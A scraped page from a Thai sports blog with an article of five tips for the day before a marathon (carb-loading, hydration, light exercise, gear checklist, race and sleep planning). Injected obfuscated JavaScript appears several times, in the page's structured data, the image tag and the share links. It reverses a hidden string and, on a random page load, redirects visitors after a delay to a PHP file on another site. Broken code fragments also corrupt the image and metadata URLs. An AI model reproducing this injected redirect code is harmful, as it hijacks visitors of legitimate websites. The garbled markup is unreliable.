andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash-1.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2019/10/candom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash-1.jpg","width":1200,"height":794},{"@type":"WebPage","@id":"https://www.stepextra.com/things-to-do-the-day-before-a-marathon/#webpage","url":"https://www.stepextra.com/things-to-do-the-day-before-a-marathon/","name":"ทิป 5 อย่าง สำหรับหนึ่งวันก่อนวิ่งมาราธอนควรทำอะไรบ้าง - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/things-to-do-the-day-before-a-marathon/#primaryimage"},"datePublished":"2019-10-27T04:51:54+00:00","dateModified":"2019-10-27T04:56:22+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"breadcrumb":{"@id":"https://www.stepextra.com/things-to-do-the-day-before-a-marathon/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/things-to-do-the-day-before-a-marathon/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/things-to-do-the-day-before-a-marathon/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"ทิป 5 อย่าง สำหรับหนึ่งวันก่อนวิ่งมาราธอนควรทำอะไรบ้าง"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

ทิป 5 อย่าง สำหรับหนึ่งวันก่อนวิ่งมาราธอนควรทำอะไรบ้าง

kan by kan
27 October 2019
in News, Running Tips
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash-1.jpg">
ทิป 5 อย่าง สำหรับหนึ่งวันก่อนวิ่งมาราธอนควรทำอะไรบ้าง
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash-1.jpg&description=%E0%B8%97%E0%B8%B4%E0%B8%9B+5+%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87+%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%AB%E0%B8%99%E0%B8%B6%E0%B9%88%E0%B8%87%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99%E0%B8%84%E0%B8%A7%E0%B8%A3%E0%B8%97%E0%B8%B3%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3%E0%B8%9A%E0%B9%89%E0%B8%B2%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">

หลังจากผ่านช่วงเวลาการฝึกที่ทรหดเพื่อการวิ่งมาราธอน และเป็นปกติในช่วงก่อนแข่งขัน นักวิ่งเราๆ ก็มีอาการตื่นเต้น กังวลใจ หรือเครียดนอนไม่หลับก็ถือว่าเป็นเรื่องปกติ แต่ในช่วงหนึ่งวันก่อนวิ่งมาราธอน เรามีเทคนิคที่จะช่วยให้นักวิ่งเราควรเตรียมตัวเตรียมใจให้ร่างกายอยู่ใน Peak condition (สามารถนำไปประยุกต์ได้กับ Half marathon หรือการวิ่งเทรลระยะไกล เช่นกัน) สามารถวิ่งแข่งขันได้อย่างมั่นใจ

ทิป 5 อย่าง สำหรับหนึ่งวันก่อนวิ่งมาราธอนควรทำอะไรบ้าง

1. โหลด Carb อย่างถูกวิธี (Carb-Loading)

ในช่วง 2-3 วันก่อนการแข่งขัน 85-95% ของแคลอรี่ที่ร่างกายต้องการ ควรมาจากอาหารประเภทคาร์โบไฮเดรตที่หลากหลายและไม่ควรมาจากข้าวอย่างเดียว อาจจะมีมาจาก ขนมปัง ข้าวโอ๊ต ข้าวกล่อง และมันเทศเป็นต้น

คืนก่อนวิ่งแข่งขันนักวิ่งก็ไม่ควรจะรับประทานอาหารมากเกินไป ให้เลือกรับจำนวนคาร์โบไฮเดรตประมาณ 8 กรัม/น้ำหนัก 1กิโลกรัมของร่างกาย อย่างเช่น ถ้าเราหนัก 74 กิโลกรัม ควรรับคาร์โบไฮเดรตประมาณ 660 กรัม (แปลงเป็นแคลอรี่ได้ประมาณ 2,640 cal)

นอกจากนี้พยายามเลี่ยงอาหารที่เป็นไขมันสูง มีไฟเบอร์เยอะและเป็นโปรตีนสูง พยายามเลือกเป็นคาร์ฯ เพื่อให้แป้งเปลี่ยนเป็นไกลโคเจน เก็บสะสมไว้ตามกล้ามเนื้อ เป็นพลังงานพร้อมดึงมาใช้ระหว่างวิ่ง

2. ดื่มน้ำ (stay Hydrated)

ดื่มน้ำเยอะๆ ในช่วงก่อนถึงวันแข่งขัน ถ้าเรามีสภาพสมดุลน้ำที่ดี ไม่ขาดน้ำ ปัสสาวะจะมีสีเหลืองอ่อนๆ แนะนำดื่มน้ำ 8 แก้วต่อวัน (แก้วขนาด 8 ออนซ์ = 236.59 mL) หรือประมาณครึ่งแกนลอน แต่สำหรับคนที่เป็นนักกีฬา คุณอาจจะต้องดื่มมากกว่านี้

แนะนำการดื่มน้ำสำหรับนักกีฬาชายประมาณ 3 ลิตร (13 แก้ว) และนักกีฬาหญิง 2 ลิตร (9 แก้ว) ต่อวัน

นอกจากนี้ระวังอย่าดื่มน้ำเยอะเกินไป ไม่งั้นจะเกิดสภาพ Over hydration และหลีกเลี่ยง เครื่องดื่มที่มีกาแฟอีนและแอลกอฮอล์ ซึ่งจะรบกวนการนอนหลับของเรา

3. ออกกำลังกายเบาๆ

หากยังมีความกังวลใจเกิดขึ้น นักวิ่งหลายๆ คนก็อาจจะออกไปวิ่ง ไปฝึกซ้อมหนักขึ้นเพื่อเพิ่มความมั่นใจ แต่ในช่วงจะเข้าสู่การแข่งขันวิ่งมาราธอน ควรจะเป็นช่วงเวลาที่ร่างกายควรจะได้รับการพักผ่อน เพื่อการพักฟื้นจากการฝึกที่หนักหน่วงที่ผ่านมา ถ้านักวิ่งฝึกถึงตามที่วางแผนไว้ การพักฟื้น 2-3 วันจะไม่ส่งผลต่อ performance และ fitness

และในวัน Expo นักวิ่งไม่ควรใช้เวลาเดินช้อปชิมจนนานเกินไป อย่าใช้เวลาบนฝ่าเท้านาน เราจะเกิดอาการปวดเมื่อยเท้าเอา แต่สำหรับใครที่อยากจะออกวิ่ง เราแนะนำ 20 นาที วิ่งเบาๆ เพื่อผ่อนคลายความเครียดและกระตุ้นกล้ามเนื้อ

4. เตรียมอุปกรณ์ให้พร้อม

การเตีรยมตัวนี้หมายถึง การเตรียมอุปกรณ์ที่จำเป็นต่อการวิ่งแข่งขัน เริ่มจากการเอาชุดเสื้อผ้าและอุปกรณ์วิ่งทั้งหมดมาวางบนพื้น อย่างเช่น…

  • BIB และเข็มกลัด ตรวจตัว Chip timing ด้วยว่าติดเรียบร้อยไหม
  • ตรวจชุดเสื้อผ้าสำหรับการวิ่ง เสื้อ กางเกง หมวก รองเท้าและถุงเท้า
  • นาฬิกา GPS และแบตเตอรี่ชาร์จให้เต็ม
  • ครีมกันแดด ครีมวาสลีนกันการเสียดสี
  • อาหารและน้ำสำหรับ refuel อย่างพวก Energy bar/gel

กฎสำคัญที่ห้ามลืมคือ ห้ามมีของใหม่ใส่วันวิ่งมาราธอนเด็ดขาด ไม่ว่าจะเป็นเสื้อกางเกงหรือรองเท้า เพราะของใหม่ยังไม่มีการคลายตัว จะมีความแข็งกระด้าง โอกาสการเสียดสีสูง รวมไปถึงอาหารของกินแปลกใหม่ๆ ด้วย จงกินแต่ของที่คุ้นเคยเท่านั้น

5. วางแผนการวิ่ง

การวางแผนการวิ่งประกอบด้วย การศึกษาแผนที่เส้นทาง ความสูงชัน จุดบริการน้ำและอาหาร จุดรวมผล และเส้นชัย เป็นต้น โดยทั้งหมดนี้จะมีผลต่อการวาง Pace การวิ่ง การดื่มน้ำและการเติมพลังงานในแต่ละช่วง เราแนะนำอย่าวิ่ง pace ด้วยตลอดงาน ให้ลองแบ่งเป็นช่วงๆ เริ่มจากช้าและค่อยๆ เพิ่มความเร็วขึ้น หรือจะเป็นแบบเร็วต้นและผ่อนปลายก็ได้  

ท้ายสุดนี้ คือ การนอนให้พอ เพราะการนอนหลับพักผ่อนมีผลต่อ Performance การวิ่งและการพักฟื้น (Recovery) ในช่วงใกล้แข่งขันแนะนำให้นอนมากขึ้น เข้านอนให้เร็ว เว้นอาหารและเวลานอนอย่างน้อย 2 ชั่วโมง และนอนยาวๆ ไปเลยสัก 8 ชั่วโมง

อ้างอิง www.verywellfit.com

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash-1.jpg&description=%E0%B8%97%E0%B8%B4%E0%B8%9B+5+%E0%B8%AD%E0%B8%A2%E0%B9%88%E0%B8%B2%E0%B8%87+%E0%B8%AA%E0%B8%B3%E0%B8%AB%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B8%AB%E0%B8%99%E0%B8%B6%E0%B9%88%E0%B8%87%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%81%E0%B9%88%E0%B8%AD%E0%B8%99%E0%B8%A7%E0%B8%B4%E0%B9%88%E0%B8%87%E0%B8%A1%E0%B8%B2%E0%B8%A3%E0%B8%B2%E0%B8%98%E0%B8%AD%E0%B8%99%E0%B8%84%E0%B8%A7%E0%B8%A3%E0%B8%97%E0%B8%B3%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3%E0%B8%9A%E0%B9%89%E0%B8%B2%E0%B8%87" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.